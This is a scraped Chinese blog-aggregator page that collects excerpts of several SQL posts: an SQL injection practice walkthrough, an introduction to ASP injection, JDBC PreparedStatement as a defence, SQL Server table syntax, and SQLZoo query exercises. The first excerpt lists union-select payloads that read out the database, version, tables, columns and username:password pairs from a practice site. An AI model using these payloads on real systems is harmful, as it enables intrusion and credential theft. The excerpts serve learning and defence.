sql练习

sql注入练习

南楼画角 提交于 2020-03-04 19:08:12
sql 注入实操 and 1=1 and 1=2测试注入点 发现注入点 sql注入 order by n 测试列数 测试结果为4 爆库 版本 用户 union selec 1,2,database(),4 union selec 1,2,version(),4 union selec 1,2,user(),4 爆破表 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘webscantest’ ),3,4 爆字段 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘webscantest’ and table_name=‘accounts’ ),3 ,4 查询内容 union select 1,group_concat(uname,0x3a,passwd),3,4 from webscantest.accounts 来源: CSDN 作者: qq_43193681 链接: https://blog.csdn.net/qq_43193681/article/details

Sql语句防注入

北慕城南 提交于 2020-03-02 23:50:32
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection ,即 SQL 注入。 SQL 注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对 SQL 注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。 但是, SQL 注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的 SQL 语句,从而成功获取想要的数据,是高手与 “ 菜鸟 ” 的根本区别。 根据国情,国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上, PHP+MySQ 占 L20% ,其他的不足 10% 。在本文,我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧, PHP 注入的文章由 NB 联盟的另一位朋友 zwell 撰写,希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗? Let's Go... 入门篇 如果你以前没试过 SQL 注入的话,那么第一步先把 IE 菜单 => 工具 =>Internet 选项 => 高级 => 显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误, IE

JDBC——PreparedStatement执行SQL的对象

ε祈祈猫儿з 提交于 2020-02-28 13:39:58
Statement的子接口,预编译SQL,动态SQL 功能比爹强大 用来解决SQL注入的 预编译SQL:参数使用?作为占位符,执行SQL的时候给?赋上值就可以了 使用步骤: 1.导入驱动jar包   复制jar包,粘贴到libs文件夹下。文件名可以任意,一般就叫libs   选择复制的jar包,右键,点击Add As Library 2.注册驱动 3.获取数据库的连接对象 Connection(本地的java代码和数据库的桥梁对象) 4.定义SQL语句   ①参数使用?作为占位符。例如:select * from user where username=? and password = ?; 5.获取执行SQL语句的对象 PreparedStatement Connection.prepareStatement(String sql) 6.给?赋值 7.执行SQL,接收返回结果,不需要传递SQL语句了(传递SQL语句时它父类Statement的方法,这个是子类特有的) 8.处理结果 9.释放资源 不使用Statement prepareStatement(String sql) 创建参数化的SQL语句发送到数据库的 PreparedStatement对象。 SQL注入 SQL注入:通过操作输入来修改SQL语句 在上个练习中,会产生SQL注入问题 ①用户名随便输 ②密码输入   

day29_JDBC

百般思念 提交于 2020-02-14 08:58:41
JDBC 概念 Java DataBase Connectivity Java 数据库连接, Java语言操作数据库。 JDBC本质 :其实是官方(sun公司)定义的一套操作所有关系型数据库的规则,即接口。各个数据库厂商去实现这套接口,提供数据库驱动jar包。我们可以使用这套接口(JDBC)编程,真正执行的代码是驱动jar包中的实现类。 JDBC 规范定义接口 ,具体的实现由各大数据库厂商来实现。JDBC 是 Java 访问数据库的标准规范,真正怎么操作数据库还需要具体的实现类,也就是数据库驱动。每个数据库厂商根据自家数据库的通信格式编写好自己数据库的驱动。所以我们只需要会调用 JDBC 接口中的方法即可,数据库驱动由数据库厂商提供。 JDBC 的好处: 程序员如果要开发访问数据库的程序,只需要会调用 JDBC 接口中的方法即可,不用关注类是如何实现的。 使用同一套 Java 代码,进行少量的修改就可以访问其他 JDBC 支持的数据库 使用 JDBC 开发使用到的包: JDBC 的核心 API JDBC 访问数据库的步骤 1:注册和加载驱动 导入驱动 Jar 包 2:获取连接使用DriverManager类中的getConnection方法,获取连接对象 3:Connection连接对象 获取 Statement/getConnection 执行SQL 对象 4

Sql Server语法归纳

扶醉桌前 提交于 2020-02-13 22:41:12
Sql Server 语法 第一类 一、创建表结构 CREATE TABLE 使用 CREATE TABLE 语句创建数据库的基本语法格式如下。 CREATE TABLE <表名> ( <列名> <数据类型> [ NULL | NOT NULL ] [ IDENTITY [( seed ,increment ) ] [{<列约束>}] [,…n] ) 参数说明如下: [NULL | NOT NULL ]:指定列的为空性,默认值为NOT NULL。 [IDENTITY ( seed , increment ) ]:指定为标识列,seed为标示种子,increment为递增量。 【例】在销售管理数据库中,利用 Create Table 语句,创建部门表和商品表。 USE CompanySales GO CREATE TABLE Department - - 创建部门表 ( DepartmentID int NOT NULL, DepartmentName varchar (30) NOT NULL, Manager char(8) NULL, Depart_Description varchar (50) NULL ) GO CREATE TABLE product - - 创建商品表 ( ProductID int NOT NULL, ProductName varchar(50)

SQL语法练习(一)

ぐ巨炮叔叔 提交于 2020-02-09 09:39:17
查询学习课程”python”比课程 “java” 成绩高的学生的学号; – 思路: – 获取所有有python课程的人(学号,成绩) - 临时表 – 获取所有有java课程的人(学号,成绩) - 临时表 – 根据学号连接两个临时表: – 学号 | 物理成绩 | 生物成绩 – 然后再进行筛选 12345 select A.s_id from (select s_id, num as python from score left join course on score.c_id = course.c_id where course.c_name = 'python') as A left join (select s_id, num as java from score left join course on score.c_id = course.c_id where course.c_name = 'java') as B on A.s_id = B.s_id where A.python > B.java; 查询平均成绩大于65分的同学的姓名和平均成绩(保留两位小数); 12345 SELECT student.s_name as names, round(AVG(score.num), 2) as averageFROM student, scoreWHERE student

Atlas-MySQL

我的未来我决定 提交于 2020-02-08 04:29:12
优秀DBA的素质 1 、人品,不做某些事情 2 、严谨,运行命令前深思熟虑,三思而后行,即使是依据select 3 、细心,严格按照步骤一步一步执行,减少出错 4 、心态,遇到灾难,首先要稳住,不慌张,不要受到旁人的影响 5 、熟悉操作系统,Linux系统的工具和命令 6 、熟悉业务 ( 开发 ),编程语言 7 、熟悉行业 8 、喜欢数据库 • 什么是数据? 数据是指对客观事件进行记录并可以鉴别的符号,是对客观事物的性质、状态以及相互关系等进行记载的物理符号或这些物理符号的组合。它是可识别的、抽象的符号。 • 什么是数据库管理系统? 将大量的数据规范的管理在一起的软件 • 数据库管理系统种类 关系型和非关系型 • 关系型数据库的特点   – 二维表   – 典型产品 Oracle传统企业, MySQL是互联网企业   – 数据存取是通过SQL   – 最大特点,数据安全性方面强(ACID) • NoSQL:非关系型数据库(Not only SQL)   – 不是否定关系型数据库,做关系型数据库的的补充。   – 想做老大,先学会做老二。 RDBMS与NoSQL对比 • web1.0时代   企业提供内容,用户浏览,所以关系型数据库够用,并发并不高,所以不需要NoSQL。 • web2.0时代   核心是企业提供平台,用户参与提供内容。这时关系型数据库无法满足需求了。 • 2003

SQL查询强化训练(1)

自作多情 提交于 2020-02-08 01:45:58
1 SELECT T1.C#, 2 3 ROUND(T1.AVG_SCORE, 2) AVG_SCORE, 4 5 ROUND(T2.PASS_COUNT / T1.ALL_COUNT, 2) PASS_POINT 6 7 FROM (SELECT DISTINCT C#, 8 9 COUNT(1) OVER(PARTITION BY C# ORDER BY C#) ALL_COUNT, 10 11 AVG(SCORE) OVER(PARTITION BY C# ORDER BY C#) AVG_SCORE 12 13 FROM SC) T1, 14 15 (SELECT DISTINCT C#, 16 17 COUNT(1) OVER(PARTITION BY C# ORDER BY C#) PASS_COUNT 18 19 FROM SC 20 21 WHERE SCORE >= 60) T2 22 23 WHERE T1.C# = T2.C# 24 25 ORDER BY AVG_SCORE, PASS_POINT DESC Union,对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序;   Union All,对两个结果集进行并集操作,包括重复行,不进行排序;   Intersect,对两个结果集进行交集操作,不包括重复行,同时进行默认规则的排序;  

封神台靶机练习第一章:SQL注入攻击原理

可紊 提交于 2020-02-05 22:09:16
封神台靶机练习第一章:SQL注入攻击原理 1、查看参数的传递方式,选择在哪里进行测试攻击 方法:调出网页控制台,观查网络状况,通过消息头查看参数提交的方式 通过对消息头的分析,可以看出请求方法为get方式,因此我们就只要在浏览器地址栏中进行注入测试即可。如果为其他请求方式,如post,delete,update等等,可以借助postman工具进行测试。 2、判断该网站是否能够进行SQL攻击注入 2.1、观查地址栏地址,猜sql语句 http://59.63.200.79:8003/?id=1 根据?后面的参数可知,该请求肯定是根据id来查询内容,查询参数为id,因此我猜的SQL语句为: select * from 表名 where id = 参数id 2.2、判断该网站能否进行简单的SQL注入攻击 判断思路:根据所猜SQL语句进行判断 #参数id = 1 时,后台查询的sql语句应该为: select * from 表名 where id = 1 判断1:当参数id = 1'是否显示正常 测试结果如图:所查询的文章并没有显现,心中窃喜,1'被当作参数传递到了数据库服务器中并执行了,因此可能存在SQL注入风险,此时的SQL语句为: select * from 表名 where id = 1' 判断2:当参数id = 1 or 1=1 和 id = 1 or 1=2是,是否显示正常

SQL学习(二)——SELECT COUNT GROUP BY HAVING

你。 提交于 2020-01-31 00:35:07
select within select 2020/01/30 https://sqlzoo.net/wiki/SELECT_within_SELECT_Tutorial/zh 2. 列出歐州每國家的人均GDP,當中人均GDP要高於英國’United Kingdom’的數值。 SELECT name FROM world WHERE continent = 'Europe' and gdp / population > ( SELECT gdp / population FROM world WHERE name = 'United Kingdom' ) 3. 在阿根廷Argentina 及 澳大利亞 Australia所在的洲份中,列出當中的國家名字 name 及洲分 continent 。按國字名字順序排序 select name , continent from world where continent in ( select continent from world where name = 'Argentina' or name = 'Australia' ) 5.Germany德國(人口8000萬),在Europe歐洲國家的人口最多。Austria奧地利(人口850萬)擁有德國總人口的11%。 顯示歐洲的國家名稱name和每個國家的人口population